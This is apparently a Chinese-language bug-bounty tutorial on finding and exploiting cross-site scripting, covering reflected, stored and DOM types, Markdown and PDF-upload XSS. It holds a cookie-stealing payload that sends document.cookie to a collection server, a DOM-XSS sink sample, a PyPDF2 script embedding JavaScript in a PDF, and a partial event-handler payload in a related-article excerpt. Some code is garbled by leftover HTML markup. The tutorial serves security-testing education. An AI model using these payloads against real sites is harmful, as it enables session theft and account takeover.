<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    web漏洞挖掘指南 -XSS跨站腳本攻擊

    VSole2021-10-12 16:30:53

    一、漏洞原理

    1. 跨站腳本英文全稱(Cross Site Scripting跨站腳本),為了不和css層疊樣式表(英文全稱:Cascading Style Sheets)混淆,因此將跨站腳本縮寫為XSS。產生XSS漏洞根本原因其實是web應用未對用戶的輸入進行嚴格的過濾和轉義,導致攻擊者可從正常的輸入功能注入腳本代碼,我常將xss攻擊理解為一種javascript注入,當帶有xss惡意代碼的頁面被其他用戶訪問到時,js便會被執行,js腳本可以執行很多操作,比如:竊取用戶cookie,讀取用戶鍵盤記錄,截屏,惡意跳轉等,甚至可以結合BEEF的hook.js鉤子劫持用戶瀏覽器。

    二、XSS漏洞檢測

    0x1

    公認XSS有三種類型:反射型、存儲型、dom型。根據字面意思很好區分三者,反射型即服務器根據用戶當前輸入做出的響應,只能觸發一次,這個過程就像一次反射。因此市面上大多self-xss都來自反射型xss,攻擊者輸入xss腳本,輸出僅自己看到,僅xss到自己,常在查詢、搜索等功能出現。

    0x2

    存儲型xss即頁面保存了攻擊者輸入的惡意代碼,除非對應記錄被刪除,否則可以一直觸發xss,常在留言、個人信息登記等功能出現。

    0x3

    dom型xss比較獨特,它涉及的兩個層次不是服務器端和瀏覽器端,而是瀏覽器端的JavaScript層和HTML層。換種更好理解的說法也就是:從服務器腳本變成了客戶端腳本,dom xss的payload不需要服務端解析響應,而是靠瀏覽器的dom解析,因此dom-xss的觸發是抓不到請求包的。漏洞示例xss.html:

                        
    "tr1">
                </span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer">                    document.getElementById(<span class="code-snippet__string" style="box-sizing: border-box;">"tr1"</span>).innerHTML = unescape(location.hash);</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer">                    
    

    0x4

    xss漏洞檢測用彈窗進行測試即可,常見的幾種彈窗方法:alert()、confirm()、prompt()、console.log()。測試時,盡量結合各種xss類型的特征對功能點進行驗證,除了大家常說的“有框即插(看見輸入框就盲插xss payload)”,還需注意請求中的各種參數,是否可以原樣輸出或者以html代碼的形式保存到了另一個頁面。

    三、XSS漏洞利用

    0x1

    上文提到過,xss的本質其實是js代碼的注入,所以XSS漏洞的危害來源于js代碼執行,最常見的就是盜取用戶cookie,但是在實際場景中我們經常會遇到cookie設置httponly屬性導致無法通過js腳本讀取的情況,這時還可以讀取用戶鍵盤記錄,截屏,惡意跳轉等,甚至可以結合BEEF的hook.js鉤子劫持用戶瀏覽器。

    0x2

    以最簡單的盜取cookie的payload為例,先用python搭建web服務充當xss平臺:

    0x3

    然后在存有xss漏洞的位置傳入payload:

    document.location=’http:<span class="code-snippet__comment" style="box-sizing: border-box;">//192.168.123.24?’+document.cookie;
    

    0x4

    上述payload先用document.cookie獲取了用戶cookie,然后利用document.location進行跳轉,這樣客戶端就會攜帶document.cookie的值訪問xss平臺,通過xss平臺的web日志即可查看對應記錄:

    0x5

    市面上的xss平臺其實已經編寫出很多成熟的xss利用模板了,js代碼操作不熟練的師傅可以直接套用xss平臺的模板:




    Markdown XSS

    0x1

    Markdown 是一種輕量級標記語言,它允許人們使用純文本格式編寫文檔。通過簡單的文本方式標記就能指定格式,輕輕松松完成文檔的編輯。

    markdown語言從文本-指定格式的轉換過程可以看作一系列的html轉換,最終以html標簽的形式存儲在頁面上,因此markdown編輯器也可能出現XSS漏洞。

    0x2

    插入超鏈接:


    0x3

    除了插入超鏈接,我們還可以參照常規的XSS payload進行嘗試,比如、等標簽。參考案例:

    http://www.52bug.cn/hkjs/3292.htmlhttps://mp.weixin.qq.com/s/7Qa4o0sYfJei07K3mjL-GA
    

    五、上傳PDF導致的XSS

    0x1

    之前在論壇上看到過有師傅通過把xss代碼加到pdf文件,然后通過正常的文件上傳功能傳至目標服務器中,利用瀏覽器自帶的pdf閱讀功能觸發xss,這類漏洞還是會有部分廠商會確認的,參考文章:

    https://www.t00ls.cc/thread-48480-1-1.htmlhttps://www.t00ls.cc/articles-62790.html
    

    pdf文件還是很少被禁止上傳的,眾測項目中可以嘗試此類測試。

    0x2

    利用條件:1.有pdf文件上傳點 2.保存好的pdf文件可以直接瀏覽器查看,而不是只能下載至本地。

    0x3

    python腳本一鍵生成帶有xss代碼的pdf文件:

        from PyPDF2 import PdfFileWriter    file = PdfFileWriter()    file.addJS('app.alert("XSS");')    output = open('xss.pdf', 'wb')    file.write(output)
    

    xss和markdown xss的fuzz字典可以點擊查看原文附件自取


    漏洞挖掘xss
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    跨站腳本英文全稱(Cross Site Scripting跨站腳本),為了不和css層疊樣式表(英文全稱:Cascading Style Sheets)混淆,因此將跨站腳本縮寫為XSS。本期我們講解一下XSS漏洞原理和利用檢測。
    ezXSS介紹ezXSS是一款用于滲透測試和漏洞挖掘XSS盲測跨站腳本工具。在演示版本中可能禁用了一些特性。
    但當存在存儲型XSS時,受害者打開此URL,攻擊代碼將會被觸發,這種情況下便稱之為存儲型XSS漏洞。在標題處和帖子內容中分別填寫payload,填寫好之后,應與下圖一致填寫好內容之后,點擊下方的發表按鈕,即可進行發帖,發帖成功會彈出一個提示成功,如下圖所示?????
    xsshelp閑著沒事隨便寫的一個輔助挖掘xss漏洞的工具xsshelp version: 1.0.0Usage: [-ut] [-u url] [-t thread] [-h help]Options: -h this help -t intthread Num -u string a target url
    我發現了一個存儲的XSS漏洞,我可以通過竊取cookie升級為帳戶接管。我的payload目前需要最少的用戶交互,只需單擊即可。之后,向下滾動并單擊取消預約。確保您攔截了此請求。使用以下有效載荷添加消息:"><xss/id="1"/tabindex="1"/onfocusin="window.location.>您通常會收到一個確認框,確認您的預約已取消,單擊確定。即使管理員注銷,此cookie也可以輕松重用。這是因為cookie不會過期。影響我能夠通過取消我們的預約并包含一條消息來接管一個管理員帳戶。這意味著我們必須找到一個具有用戶交互的。
    在查看電子郵件時,我發現了 Microsoft 的新服務預訂。Microsoft booking 允許任何人預訂服務/日歷時段。此應用程序有兩個界面,一個是內部界面,另一個是面向公眾的服務頁面。我決定深入檢查這個應用程序。我嘗試插入各種 XSS payload 來觸發 xss 但沒有成功。現在我的注意力轉移到了這個標簽上。應用程序有各種保護機制來防止腳本的執行。
    在這篇文章中,我將討論 Microsoft Forms 中反射式跨站點腳本 漏洞的詳細信息。它允許用戶創建表單和調查,與他人共享,并在集中位置收集響應。但是,我們發現可以將惡意JavaScript代碼注入表單中,這些代碼可以由毫無戒心的用戶執行。我遵循了 MSRC 報告漏洞的準則并提交了我的發現。欲了解更多信息,請參閱:向 MSRC 提交報告的示例 https://www.microsoft.com/en-us/msrc/bounty-example-report-submission微軟賞金計劃 |微軟公司 https://www.microsoft.com/en-us/msrc/bounty?
    每個黑客都會遇到這個,第一個賞金。我實際上無法解釋它的感覺,但我知道你們中的大多數人都能理解它的感覺。當我們開始在 Web 應用程序安全中進行漏洞賞金時,我們大多數人都會從 XSS開始,故事從這里開始。
    記一次NFT平臺的存儲型XSS和IDOR漏洞這是我在 NFT 市場中發現的一個令人興奮的安全問題,它允許我通過鏈接 IDOR 和 XSS 來接管任何人的帳戶,以實現完整的帳戶接管漏洞。我們能夠用我們自己的價值觀修改受害者用戶的個人資料。現在我們可以提出任何其他請求來執行其他經過身份驗證的操作,例如出售藝術品或轉讓或刪除用戶的藝術品漏洞披露
    大家好,在本文中,我將分享我在2個TikTok資產發現的XSS漏洞。當我決定在TikTok 程序中尋找漏洞 時,我花了1個月的時間尋找這個XSS。當我在TikTok 賣家賬戶上創建產品時,這個 XSS 發現開始了我在賣家賬戶的產品名稱中插入了 XSS payload。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类